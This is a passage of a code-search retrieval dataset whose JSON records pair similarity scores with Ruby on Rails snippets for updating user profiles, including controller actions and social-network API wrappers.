"title": "" }, { "docid": "7f1f42e761891460418ce910d7654916", "score": "0.73198473", "text": "def update\n @profile.update(profile)\n head :no_content\n end", "title": "" }, { "docid": "ab4e8a2ffec9ca68f2ab9be008b0adf8", "score": "0.72010154", "text": "def profile_update(user)\n send_as :profile\n recipients user.facebook_user.facebook_session.user\n profile render(:partial => 'facebook_publisher/profile', \n :assigns => { :posts => Post.find_all_by_user_id(user.id, :order => 'created_at desc', :limit => 5),\n :blavel_user => user,\n :facebook_user => user.facebook_user.facebook_session.user })\n end", "title": "" }, { "docid": "246f0b12e3400cff77e26baa50c31ae8", "score": "0.71717024", "text": "def update_profile(options={})\n perform_post(\"account/update_profile.json\", options)\n end", "title": "" }, { "docid": "a76d6fa591b16b45d9e4fe0990ab69f8", "score": "0.71580935", "text": "def update_profile\n @user = facebook_session.user\n @user.profile_fbml =\n render_to_string(:partial => \"profile\",\n :layout => \"fmbl_tags\",\n :locals => {:from => params[:from]})\n end", "title": "" }, { "docid": "3d51cfeb833086c38389311963b2f6aa", "score": "0.7154893", "text": "def update\n if current_user == @profile.user\n respond_to do |format|\n if @profile.update(profile_params)\n @profile.create_activity :update, owner: (current_user)\n format.html { redirect_to @profile, notice: 'Successfully updated profile.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "89b65b1d5e8a21e2acdf42887f7e1ce1", "score": "0.70956784", "text": "def update_profile(params)\n post('/account/update_profile', params)\n end", "title": "" }, { "docid": "7b29a590a0476ec91c7c93ef60b4ac86", "score": "0.7095277", "text": "def update \n \t@profile = current_user.profile\n \t@profile.gender = params[:gender]\n \t@profile.height = params[:height]\n \tif @profile.update_attributes(params[:profile])\n \t current_user.profile = @profile\n \t redirect_to profile_path('me')\n \telse\n \t flash[:error] = 'There was a problem saving your profile updates.'\n \t flash[:errors] = @profile.errors\n \t redirect_to :action => \"edit\"\n \tend\n end", "title": "" }, { "docid": "af8d6cc7bc5f0b42df0bd4e9ee7bba63", "score": "0.70790577", "text": "def update\n @user = User.find(self.current_user.profile)\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Your profile has been updated.'\n redirect_to :action => 'profile'\n else\n render :action => 'profile'\n end \n end", "title": "" }, { "docid": "0ddc25f29cf6f02fb4ef378df8350d0a", "score": "0.70451313", "text": "def update_profile(fb_user, page_id = nil)\n page_id = nil if page_id.blank?\n logger.debug(\"FB: Updating fbml for #{fb_user.uid} #{page_id}\")\n\n setup_profile_for_user(fb_user, page_id)\n\n action_view = ActionView::Base.new( Rails::Configuration.new.view_path, {}, self)\n action_view.extend(Facebooker::Rails::Helpers)\n fbml = \taction_view.render(:partial => 'get_profile_fbml',\n :locals => {:fb_user => @fb_user, :geoip_loc => @geoip_loc,\n :upcoming_invites => @upcoming_invites, :my_invitations => @my_invitations})\n user_id = page_id.blank? ? fb_user.uid : page_id\n user = Facebooker::User.new(user_id) \n\n user.profile_fbml = fbml \n\n logger.debug(\"Finished updating fbml for User: #{fb_user.uid} Page: #{page_id} \")\n end", "title": "" }, { "docid": "82281442cbb116af66e1e4bf2daff0ce", "score": "0.69996184", "text": "def profile_update(profile)\n begin\n profile['_id'] = profile['profileId']\n profiles.update_one({'_id' => profile['profileId']}, profile)\n rescue => e\n msg = \"Profile #{profile['profileId']} failed to update: #{e.message}\"\n @config.logger.error msg\n end\n begin\n process_update(profile)\n rescue => e\n msg = \"Profile #{profile['profileId']}: failed to update process data: #{e.message}\"\n @config.logger.error msg\n end\n end", "title": "" }, { "docid": "e66f240be28a300d401bdb7cf8f39c52", "score": "0.6968492", "text": "def update_profile\n if current_user.update(profile_params)\n redirect_to settings_profile_path, notice: \"Profile successfully updated.\"\n else\n render :profile\n end\n end", "title": "" }, { "docid": "e66f240be28a300d401bdb7cf8f39c52", "score": "0.6968492", "text": "def update_profile\n if current_user.update(profile_params)\n redirect_to settings_profile_path, notice: \"Profile successfully updated.\"\n else\n render :profile\n end\n end", "title": "" }, { "docid": "120ac4a9355155a71e353e2260f9c3cb", "score": "0.69330615", "text": "def user_update_profile\n\t\t\tif verify_action_params(['U', 'S', 'UserProfile'])\n\t\t\t\tuser = verify_user_authentication\n\t\t\t\tif user\n\t\t\t\t\tunless user.user_profile\n\t\t\t\t\t\tuser.user_profile = UserProfile.new\n\t\t\t\t\t\tuser.save\n\t\t\t\t\tend\n\t\t\t\t\tExUserProfile.update_json_to_user_profile(JSON.parse(params[:UserProfile]), user.user_profile)\n\t\t\t\t\tuser.save\n\t\t\t\t\tex = ExUserProfile.init_from_user_profile(user.user_profile.reload)\n\t\t\t\t\tre = ApiReturn.new(\"000\")\n\t\t\t\t\tre.add_data(\"UserProfile\", ex)\n\t\t\t\t\treturn_response(re)\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "eb477ad1982d1c40a30c602c44f3fb4e", "score": "0.69234586", "text": "def update\n @profile = Profile.find(params[:id])\n \n respond_to do |format|\n if @profile.update_attributes(params[:profile]) and @profile.save and @profile.user.save\n flash[:notice] = 'Profile was successfully updated.'\n format.fbml { redirect_to :controller => 'survivor_updates', :action => 'index' }\n format.xml { head :ok }\n else\n format.fbml do \n redirect_to :action => 'edit', :id => @profile.id \n end\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe871c1d710eb83a6bbe158201bdb558", "score": "0.6896991", "text": "def update\n # retrieve user from database\n @user = User.find( params[:user_id] )\n @profile = @user.profile\n # Mass assign if attrs had changed\n if @profile.update_attributes(profile_params)\n flash[:success] = \"Profile updated\"\n # Direct user to their new profile page\n redirect_to user_path(id: params[:user_id])\n else\n render action: :edit\n end\n end", "title": "" }, { "docid": "87de948692768d2adeed016f2ef40e0e", "score": "0.6894413", "text": "def update\n # maintain legal value for \"null avatar\"\n (params[:profile][:picture_id] = nil) if (params[:profile][:picture_id].to_i == 0)\n \n raise \"Cannot update profile until user is activated\" unless @profile.owner.activated_at\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Profile was successfully updated.'\n #format.html { redirect_to profile_url(@profile) }\n format.html { redirect_to user_path(@profile.owner) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "6be1d1213577e6cff28dfcb40e8d8e81", "score": "0.6832596", "text": "def update_profile(options={})\r\n post('/account/update_profile.json', options)\r\n end", "title": "" }, { "docid": "df512f13164d8c3896e09ffc41c730b1", "score": "0.6805571", "text": "def update\n @profile = User.find( params[:user_id] ).profile\n \n # Mass assign edited profile attributes and save\n if @profile.update_attributes(profile_params)\n flash[:success] = \"Profile updated\"\n # Redirect user to their profile page\n redirect_to user_path( id: params[:user_id] )\n else\n render action :edit\n end\n end", "title": "" }, { "docid": "d03dfe11e1a242543dde022a2b368928", "score": "0.6786897", "text": "def update\n begin\n @profile.update!(submission_profile_params)\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @profile.errors.any? ? @profile : e },\n status: :bad_request\n else\n toast!(title: \"Profile updated\",\n message: \"The submission profile \\\"#{@profile.name}\\\" has been \"\\\n \"updated.\")\n render \"shared/reload\"\n end\n end", "title": "" }, { "docid": "bc02e37ec595b5d8c3720d6db64456bd", "score": "0.67747337", "text": "def update_profile_details\n # https://api.slack.com/methods/users.profile.get\n # scopes: users.profile:read\n profile = slack_client.users_profile_get(user: slack_id)\n self.display_name = profile['profile']['display_name']\n self.image_url = profile['profile']['image_72']\n self.real_name = profile['profile']['real_name']\n save\n rescue Slack::Web::Api::Errors::MissingScope => _e\n false\n end", "title": "" }, { "docid": "fbce3956411014db1e9b131b4aed450b", "score": "0.6773029", "text": "def update\n profile.update_attributes(params[:profile])\n respond_with(profile)\n end", "title": "" }, { "docid": "0df3b112e0accbc27bac29890dbe41d7", "score": "0.6766848", "text": "def update\n if current_user\n @profile = current_user.profile\n if @profile.update(profile_params)\n redirect_to current_user, notice: 'Profile was successfully updated.' \n else\n redirect_to current_user\n end\n end\n end", "title": "" }, { "docid": "bd3b26e3335286cd1ae4f21799dd4e35", "score": "0.6765303", "text": "def update\n @user = User.find(current_user.id)\n @profile = @user.profile\n if @profile.update_attributes(profile_params)\n flash[:success] = 'Profile Updated.'\n # redirect to their profile page\n redirect_to root_path\n else\n render action: :edit\n end\n end", "title": "" }, { "docid": "cfb280a12fc74ab23304ecce3fbefc21", "score": "0.6752045", "text": "def update\n init_displayed_user(current_user.id)\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "18f2dc597024e9ec6584dbe9e4f9bfcd", "score": "0.6738884", "text": "def update\n if @social_profile.update(social_profile_params)\n head :no_content\n else\n render json: @social_profile.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "51a5427f514f4c48430cd51164418583", "score": "0.6720863", "text": "def edit\n if request.post?\n if current_user.update_attributes(params[:current_user])\n flash[:notice] = t(\"winnow.notifications.profile_updated\")\n redirect_to feed_items_path\n end\n end\n end", "title": "" }, { "docid": "5831f2e4d6c0063ee89cf948c6acdca7", "score": "0.66954905", "text": "def update\n # Scaffold code that will save any edits to a users profile\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to @profile, notice: \"Profile was successfully updated.\" }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15b0bc55894e82a8f61631832daf73a7", "score": "0.66791505", "text": "def update\n # Retrieve the user from the database\n @user = User.find( params[:user_id] )\n # Retrieve user's profile\n @profile = @user.profile\n # Mass assign edited profile attributes and save (update)\n if @profile.update_attributes(profile_params)\n flash[:success] = \"Profile updated!\"\n # Redirect user to their profile page\n redirect_to user_path(id: params[:user_id] )\n # reload the edit action so user can try to edit page again\n else\n render action: :edit\n end\n end", "title": "" }, { "docid": "920db6ffe77d35b95d980790cb0b2e36", "score": "0.66716844", "text": "def update\n # Retrieve user from DB using ID\n @user = User.find(params[:user_id])\n @profile = @user.profile\n # Mass assign edited profile attributes and update\n if @profile.update_attributes(profile_params)\n flash[:success] = \"Updated Profile!\"\n #Redirect user to updated profile page\n redirect_to user_path(params[:user_id])\n else\n render action: :edit\n flash[:error] = \"Error! Update Unsuccessful\"\n end\n end", "title": "" }, { "docid": "11fad73d70dd9cb24949e0c0ab210a08", "score": "0.666697", "text": "def update_profile(profile)\n raise Exceptions::ServiceException, \"Profile object must not be nil.\" if profile.nil?\n url = Util::Config.get('endpoints.base_url') + sprintf(Util::Config.get('endpoints.crud_profile'), profile.id)\n url = build_url(url)\n payload = {\n profile: profile.to_hash\n }.to_json\n response = RestClient.put(url, payload, get_headers())\n Components::Profile.create(JSON.parse(response.body)[\"data\"])\n end", "title": "" }, { "docid": "aacf322c89329af96bc98f52f6f0a589", "score": "0.66660374", "text": "def update\n @profile = current_user.profile\n if @profile.update(profile_params)\n flash[:notice] = 'Profile was successfully updated.'\n redirect_to profile_path\n else\n flash.now[:alert] = \"Unable to update profile. Please check errors.\"\n render :edit\n end\n end", "title": "" }, { "docid": "ad7c9b1b5ea6a725c533680391bcc788", "score": "0.6665218", "text": "def edit\n @title = 'Edit Profile'\n @profile = current_user.profile\n if params[:id] != 'me' && params[:id] != @profile.id\n flash.now[:notice] = \"You can't edit someone else's profile.\"\n end\n if session[:fbaccess]['token'] then\n session[:fbgraph] ||= Profile.open_graph session[:fbaccess]['token']\n @user = Profile.fetch_fb_graph_user session[:fbgraph]\n else\n @user = nil\n end\n end", "title": "" }, { "docid": "af34649cbaad7849e37b47cfec86e181", "score": "0.66639984", "text": "def update_profile\n @update_profile = User.find(current_user.id)\n current_email = @update_profile.update(email: user_profile_params[:email])\n current_name = @update_profile.update(name: user_profile_params[:name])\n current_mobile = @update_profile.update(mobile: user_profile_params[:mobile])\n @update_profile.save\n redirect_to root_path\n end", "title": "" }, { "docid": "74479986a309bcad998b0cdd6dfcdaf1", "score": "0.6660423", "text": "def update\n # Retrieve the users from the database\n @user = User.find(params[:user_id])\n # Retrieve the user's profile\n @profile = @user.profile\n # Mass assign edited profile attributes and save (update)\n if @profile.update_attributes(profile_params)\n flash[:success] = \"Profile updated!\"\n # Redirect to the user's profile\n redirect_to user_path(id: params[:user_id])\n else\n render action: :edit\n end\n end", "title": "" }, { "docid": "303dbc4960dae098cb432bb4a2878baa", "score": "0.6643681", "text": "def update\n # Retrieve user from db\n @user = User.find(params[:user_id])\n # Retrieve that user's profile\n @profile = @user.profile\n \n # Mass assign edited profile attributes from whitelisting below\n if @profile.update_attributes(profile_params)\n flash[:success] = \"Profile has been updated!\"\n redirect_to user_path(id: params[:user_id])\n else\n render action: :edit\n end\n \n end", "title": "" }, { "docid": "6aae1c6fc45d8746363d8d2cf0cd3f9c", "score": "0.66322047", "text": "def update\n @profile = @current_user.profile\n respond_to do |format|\n if @profile.update(profile_params)\n format.html {\n flash[:success] = 'Your changes were saved!'\n redirect_to edit_admin_profile_path(@profile)\n }\n else\n format.html {\n flash[:warning] = 'Your changes couldn’t be saved…'\n render :edit\n }\n end\n end\n end", "title": "" }, { "docid": "7b46f8578f73c124f2fbd57be2ecbaa7", "score": "0.6628219", "text": "def update\n @profile = current_user.profile.blank? ? current_user.build_profile(params[:profile]) : current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to(edit_user_path(@user), :notice => 'Profile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34b723bdfc6ed6ad23cb183086fac53c", "score": "0.6611433", "text": "def update\n if $fuser != nil\n @profile = $fuser.profile\n else\n @profile = current_user.profile\n end\n respond_to do |format|\n if @profile.update(profile_params)&&$fuser != nil\n format.html { redirect_to show_profile_path($fuser.id), notice: '资料更新成功!' }\n format.json { head :no_content }\n elsif $fuser == nil\n format.html { redirect_to show_profile_path(current_user.id), notice: '资料更新成功!' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit', warning: '资料更新时发生错误,请重试!' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d4621443fa712467be01aee0fe6f5fd", "score": "0.66111475", "text": "def update\n respond_to do |format|\n\n # User performs follow / unfollow\n if performing_follow?\n @profile.user.toggle_followed_by(current_user)\n format.html { redirect_to @profile.user }\n format.json { render :show, status: :ok, location: @profile }\n\n # One does not simply edit the profile of another user\n elsif @profile.nil? || @profile.user != current_user\n redirect_to root_url\n\n # User updates his profile\n elsif @profile.update(profile_params)\n format.html { redirect_to profile_path, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "143000c6c8fb647cd796d8480a52abbc", "score": "0.6608646", "text": "def update\n if @profile.update(profile_params)\n render :show, status: :ok, location: @profile\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "72da84af0e780d85bb2737f85ae37fb9", "score": "0.6608336", "text": "def update\n # reterieve the current user's resources\n @user = User.find( params[:user_id] )\n # reterieve the current user's profile\n @profile = @user.profile\n # mass update any edited profile parameters and save (update)\n if @profile.update_attributes( profile_params )\n flash[:success] = \"Profile Updated\"\n redirect_to user_path(params[:user_id])\n else\n render action: :edit\n end\n end", "title": "" }, { "docid": "140ea3731e92b9e0d1667395faaadbfc", "score": "0.6607201", "text": "def update\n @profile = current_account.profile # .find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to(@profile, :notice => 'Profile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "deea1de289775231c46d7ced1a38000f", "score": "0.66057837", "text": "def update\n find_user.update_attributes(params[:user])\n unless @user.save\n redirect_to edit_profile_path(@user), alert: @user.errors.full_messages\n return\n end\n Sufia.queue.push(UserEditProfileEventJob.new(find_user.user_key))\n redirect_to profile_path(@user), notice: \"Your profile has been updated\"\n end", "title": "" }, { "docid": "b638fe2c10232829e1714ea2654590dc", "score": "0.66045135", "text": "def update\n @profile = @user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, :notice => 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c30f4389304f7fa617dcd39a9557884", "score": "0.6596523", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to profile_path(current_user.profile_name), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15e07f275f453a267c19244cb3481337", "score": "0.65948564", "text": "def update\n @profile = Profile.first || Profile.new\n @profile.assign_attributes(profile_params)\n\n if @profile.save\n render :show, status: :ok, location: @profile\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "beb77c32dd5edeaeda80f6b50844f7b5", "score": "0.6592162", "text": "def update\n @profile = current_user.profile \n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Profile was successfully updated.'\n format.html { redirect_to(profile_path) }\n \n else\n format.html { render :action => \"edit\" }\n \n end\n end\n end", "title": "" }, { "docid": "f802a85035b3e81963e0d2e736da3656", "score": "0.65852445", "text": "def update\n authorize @profile\n respond_to do |format|\n if @profile.update(profile_params)\n set_past_avatar if profile_params[:avatar].present?\n\n format.html { redirect_to @profile, notice: t('.notice') }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a9cf2482fc6530a320d24fc929a8e2e", "score": "0.65847677", "text": "def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update(params[:profile])\n format.html { redirect_to(profile_url, :notice => 'Profile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3653eb2f3758155584040d20af2e3afb", "score": "0.65824926", "text": "def update\n @user = User.find(params[:id])\n \n if session[:current_user] == @user.facebook_user_id\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to user_profile_url(@user), :notice => \"Your has been updated.\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to(root_url) }\n end\n end\n end", "title": "" }, { "docid": "9e2c255e1f65219e83652ad9b0e7d365", "score": "0.6579943", "text": "def update\n @profile = current_user.profile\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to profile_path(current_user.profile), notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a1d146b68080507391e4cf843ee1d4d5", "score": "0.6567647", "text": "def update_from_profile(profile)\n raise ArgumentError, 'No profile' unless profile\n self.name = profile.name\n self.firstname = profile.first_name\n self.lastname = profile.last_name\n self.email = profile.email\n self\n end", "title": "" }, { "docid": "9f37c662639edef08da39923901bbf44", "score": "0.6557645", "text": "def update\n @profile = current_user.profiles\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Profile was successfully updated.'\n format.html { redirect_to(@profile) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b67dfe3786ee025c42c6717754375917", "score": "0.6552524", "text": "def update\n @user = User.find( params[:user_id] )\n @profile = @user.profile\n # if profile updates correctly, provide the user with a success message then redirect to their prfofile page\n if @profile.update_attributes(profile_params)\n flash[:success] = \"Profile Updated!\"\n redirect_to user_path( params[:user_id] )\n else\n render action: :edit\n end\n end", "title": "" }, { "docid": "ee3f40d424dc13139e96c096c951bc8d", "score": "0.6547827", "text": "def update_profile(attributes = {})\n assert_valid_keys(attributes, :name, :twitter_id, :facebook_url, :website, :about, :top_artists, :hangout)\n\n # Convert attribute names over to their Turntable equivalent\n {:twitter_id => :twitter, :facebook_url => :facebook, :top_artists => :topartists}.each do |from, to|\n attributes[to] = attributes.delete(from) if attributes[from]\n end\n\n api('user.modify_profile', attributes)\n self.attributes = attributes\n true\n end", "title": "" }, { "docid": "3d45400f9857be2640239091dda1a279", "score": "0.6547421", "text": "def updateprofile\n \tif checkAuth(params)\n \t\tuser = User.find_by(id: params[:uid])\n \t\tcase params[:type]\n \t\twhen \"avatar\"\n \t\t\tuser.update(avatar: params[:avatar])\n \t\twhen \"name\"\n \t\t\tuser.update(name: params[:name])\n \t\twhen \"address\"\n \t\t\tuser.update(address: params[:address])\n \t\twhen \"self_description\"\n \t\t\tuser.update(self_description: params[:self_description])\n \t\telse\n \t\t\tputs \"No such attributes\"\n \t\tend\n\n\t\t\trtn = {\n\t\t \t\tstatus: \"201\"\n\t\t \t}\n\t\t\trender :json => rtn\n \telse\n \t\trtn = {\n\t\t\t\terrormsg: \"Authentication Denied.\",\n status: \"401\"\n }\n\t render :json => rtn\n \tend\n end", "title": "" }, { "docid": "188f13b2fc0c990ed9cb16662125244e", "score": "0.6546793", "text": "def update_traveler_profile\n if @traveler && params[:user_profile]\n @traveler.update_profile(params.delete(:user_profile))\n end\n end", "title": "" }, { "docid": "5ab2279b762e5dfeff274e76b00467be", "score": "0.6546132", "text": "def update\n\t\t@profile = Profile.find(params[:id])\n\t\tif @profile.update(profile_params)\n\t\t\tredirect_to edit_profile_path(:id => current_user.id)\n\t\telse\n\t\t\trender 'edit'\n\t\tend\n\tend", "title": "" }, { "docid": "dd27ed3125e76a011eb16c6eaa8ebbd9", "score": "0.6541153", "text": "def update\n @profile = current_user.profile\n assign_api_params_to_attributes\n if @profile.update_attributes(params[:profile])\n message = I18n.t('profile.update.notice')\n respond_to do |format|\n format.xml { render :xml => {:message => message} }\n format.json { render :json => {:message => message} }\n end\n else\n respond_to do |format|\n format.xml { render :xml => @profile.errors }\n format.json { render :json => @profile.errors }\n end\n end\n end", "title": "" }, { "docid": "e2c086e742b9636ebccc35d84be3b44e", "score": "0.653398", "text": "def update\n @profile = current_user\n\n if current_user.update(edit_params)\n redirect_to profile_path\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "d940eecb331902214b14c848af0a4b33", "score": "0.65245044", "text": "def update_profile\n\t\t@account = current_user\n\t\t@usertype = current_usertype\n\n\t\tif @usertype.update_attributes(params[:user])\n\t\t\tflash[:notice] = \"Account updated\"\n\n\t\t\tif params[:account][:email] != @account.email\n @account.update_attribute(:confirmed, false)\n\t\t\t\tAccount.update_email(@account.email, params[:account][:email])\n\t\t\t\tflash[:notice] = \"Account updated. A confirmation email was sent to the updated email address.\"\n\t\t\tend\n\n\t\t\tredirect_to :action => :edit\n\t\telse\n\t\t\tflash[:error] = \"Could not update profile\"\n\t\t\trender \"users/edit\"\n\t\tend\n\tend", "title": "" }, { "docid": "ea6cc47c737534555c8c7400f57e2ca0", "score": "0.6518461", "text": "def update\n current_user\n no_current_user\n @profileUpdate = User.find(@currentUser.id).profile.update(profile_params)\n #update the profile's user_id to the current user's id\n # @profileUpdate.user_id = @currentUser.id\n if @profileUpdate\n flash[:notice] = \"Your profile was updated successfully.\"\n redirect_to profile_path\n else\n flash[:alert] = \"There was a problem updating your profile.\"\n redirect_to profile_path\n end\n end", "title": "" }, { "docid": "d7482e48df7a958ac015cec5c0402ef2", "score": "0.65101975", "text": "def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update(profile_params)\n # send mail to admin when a profile is created\n # ProfileMailer.send_to_revision(@profile).deliver\n\n format.html { redirect_to edit_profile_path(@profile), notice: t(:update, scope: [:messages, :controllers, :profiles, :successfully]) }\n format.json { render :show, status: :ok, location: edit_profile_path(@profile) }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "608fe84985c55892ec28c44ee445f416", "score": "0.65091866", "text": "def update\n @profile = @user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Profile was successfully updated.'\n format.html { redirect_to(root_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ce5c6021fbc0608188c3030d8347e3c", "score": "0.65039986", "text": "def update\n \tif @user.update(profile_params)\n \tredirect_to :back, notice: \"Ti-ai actualizat contul cu succes!\"\n \telse\n \tredirect_to :back, notice: 'Date invalide!'\n \tend\n \tend", "title": "" }, { "docid": "2385c80cf035a443fb1f90a964eaca0d", "score": "0.6503951", "text": "def update\n @user = User.find(params[:id])\n if @user.update_attributes(user_params)\n flash[:success] = \"Profile updated\"\n unless params[:user][:picture].nil?\n @user.posts\n .create(caption:\"#{@user.full_name} updated his profile picture\",\n picture:params[:user][:picture])\n end\n redirect_to @user\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "b96b9c77adcc6e6ee64e993adc1ad41c", "score": "0.6497305", "text": "def update\n # @user_profile = UserProfile.find(params[:id])\n @user_profile = current_user.user_profile\n\n respond_to do |format|\n if @user_profile.update_attributes(params[:user_profile])\n format.html { redirect_to profile_path, notice: 'User profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bea6e50ca9191067b1a115cd897d4210", "score": "0.6497097", "text": "def update\n \n @profile = Profile.find(params[:id])\n \n @profile.update(profile_params)\n \n if @profile.save\n redirect_to @profile, notice: 'El perfil fue actualizado satisfactoriamente'\n else\n render :edit\n end\n end", "title": "" }, { "docid": "4da05fa5c53891bdcb6ed6bfc2f44d3a", "score": "0.64954543", "text": "def updateProfile(profile_params)\n user = getUserById(profile_params.id)\n isUpdateProfile = UserRepository.updateProfile(user, profile_params)\n end", "title": "" }, { "docid": "3ca1d2e2f997287dfac83023d1480423", "score": "0.648248", "text": "def update\n @profile = current_user.profile\n\n current_user.usracts.create\n\n if @profile.update_attributes(params[:profile])\n if request.xhr?\n render :nothing => true, :status => 200, :content_type => 'text/html'\n else\n if @profile.active?\n if params[:profile][:step]\n @profile.user.first_time_login!\n end\n redirect_to edit_account_profile_path(:tab => params[:tab]), :notice => 'Your profile has been saved!'\n return\n else\n redirect_to edit_account_profile_path(:step => @profile.step + 1, :tab => params[:tab])\n return\n end\n end\n\n else\n if request.xhr?\n render :json => @profile.errors, :status => :unprocessable_entity\n else\n if @profile.active?\n render 'edit'\n return\n else\n render \"step_#{@profile.step}\"\n end\n end\n end\n end", "title": "" }, { "docid": "c1e52c1aa41a09ff0e4bf944c1d6bbe4", "score": "0.64801687", "text": "def update\n @profile = Profile.find_by(id: params[:id])\n @profile.update(profile_params)\n \n redirect_to root_url\n end", "title": "" }, { "docid": "f73c5568893efab69da4d950c414eaba", "score": "0.6473063", "text": "def update\n @profile = current_user.profiles.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to(@profile, :notice => 'Profile was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => @profile }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n format.json { render :json => {:error => @profile.errors.full_messages} }\n end\n end\n end", "title": "" }, { "docid": "37c1fbb3aca09e061dc41c73fb5b6f4a", "score": "0.6471098", "text": "def update\n userprofile = Userprofile.find_by(\"id\" => params[\"id\"])\n userprofile.update(\"name\" => params[\"full_name\"], \"photo_url\" => params[\"url\"])\n redirect_to \"/userprofiles\"\n end", "title": "" }, { "docid": "a64b113ae906ee45de58273039bc2808", "score": "0.6460658", "text": "def update\n\n if @profile.update(profile_params)\n #current_user.hog_registration.update(profile_params.except(:marriage_anniversary_date))\n update_user(@profile)\n render json: @profile, status: :ok\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e70cccb89e3d6e368c891b751c6f077e", "score": "0.645384", "text": "def update\n @profile = UserProfile.find(params[:id])\n if params[:tags].present?\n @profile[:tags] = params[:tags].join(\",\")\n end\n\n respond_to do |format|\n if @profile.update_attributes(params[:user_profile])\n format.html { redirect_to admin_profiles_url, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e057f26df008200a254b3f1e86dba944", "score": "0.6449037", "text": "def update\n profile = self.bookalope.http_get('/api/profile')['user']\n self.firstname = profile['firstname']\n self.lastname = profile['lastname']\n end", "title": "" }, { "docid": "e8101c16ba47b95971d287c5a32e6e71", "score": "0.6446291", "text": "def updateProfile\n \t\t# Ensure user is logged in to view 